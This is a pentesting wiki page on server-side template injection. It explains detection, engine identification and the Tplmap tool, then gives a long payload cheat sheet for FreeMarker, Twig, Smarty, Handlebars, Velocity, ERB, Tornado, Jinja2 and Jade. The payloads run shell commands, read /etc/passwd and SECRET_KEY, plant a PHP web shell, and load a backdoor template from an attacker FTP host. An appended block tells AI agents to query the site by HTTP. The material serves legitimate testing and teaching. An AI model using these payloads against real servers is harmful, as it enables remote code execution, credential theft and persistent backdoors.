# Server Side Template Injection (SSTI)

&#x20;Server-side template injection is a vulnerability where the attacker [injects malicious input](https://cobalt.io/vulnerability-wiki/v10-malicious) into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

## How SSTI works

Template engines are designed to combine templates with a data model to produce result documents which help to populate dynamic data into web pages.&#x20;

Template engines are:

* **PHP–Smarty,Twigs**
* **JAVA–Velocity,Freemaker**
* **Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage**
* **Ruby-Liquid**

## **How to explore SSTI?**

SSTI can be injected everywhere, e.g., fuzzing an HTTP parameter.

```
POST /endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value
```

To detect this vulnerability, we can use the following chars:

```
${{<%[%'"}}%\.
```

Potential exploitation scenario:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.
```

Potential crash:

![](/files/-M_LMs4F92Cf2y7OkZCg)

If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:

```
=${7*3}
={{7*3}}
=<%= 7*3 %>
```

Check out everytime the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}
```

The output of the payload above is the following:

![](/files/-M_LNDFv01dcUR9Fm1qe)

Read the secret key using the ‘settings’ object that’s available:

```
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}
```

## Methodology of finding SSTI flaws

To identify the vulnerability, the following to-do list can be followed:

* Detect where the template injection exist
* Identify the template engine and validate the vulnerability
* Follow the manuals for the specific template engine
* Exploit the vulnerability

The following cheat sheet can be used to identify the template engine in use:

![](/files/-M_LNZrXdvzOSpsfD9l4)

## Automated Tools <a href="#id-7b39" id="id-7b39"></a>

[Tplmap ](https://github.com/epinna/tplmap)assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.

The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.

For more information, please check the GitHub repository for the tool [here](https://github.com/epinna/tplmap).

{% embed url="<https://github.com/epinna/tplmap>" %}

## Cheatsheet <a href="#id-1dcc" id="id-1dcc"></a>

```
Polyglot:
${{<%[%'"}}%\

FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }

(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}

Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Mojolicious (Perl):
<%= perl code %>
<% perl code %>

Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}

Flask/Jinja2: 
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Razor (.Net):
@(1+2)
@{// C# code}
```

For more payloads, please refer to [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen).

## References

{% embed url="<https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/fuzzing-and-web/server-side-template-injection-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
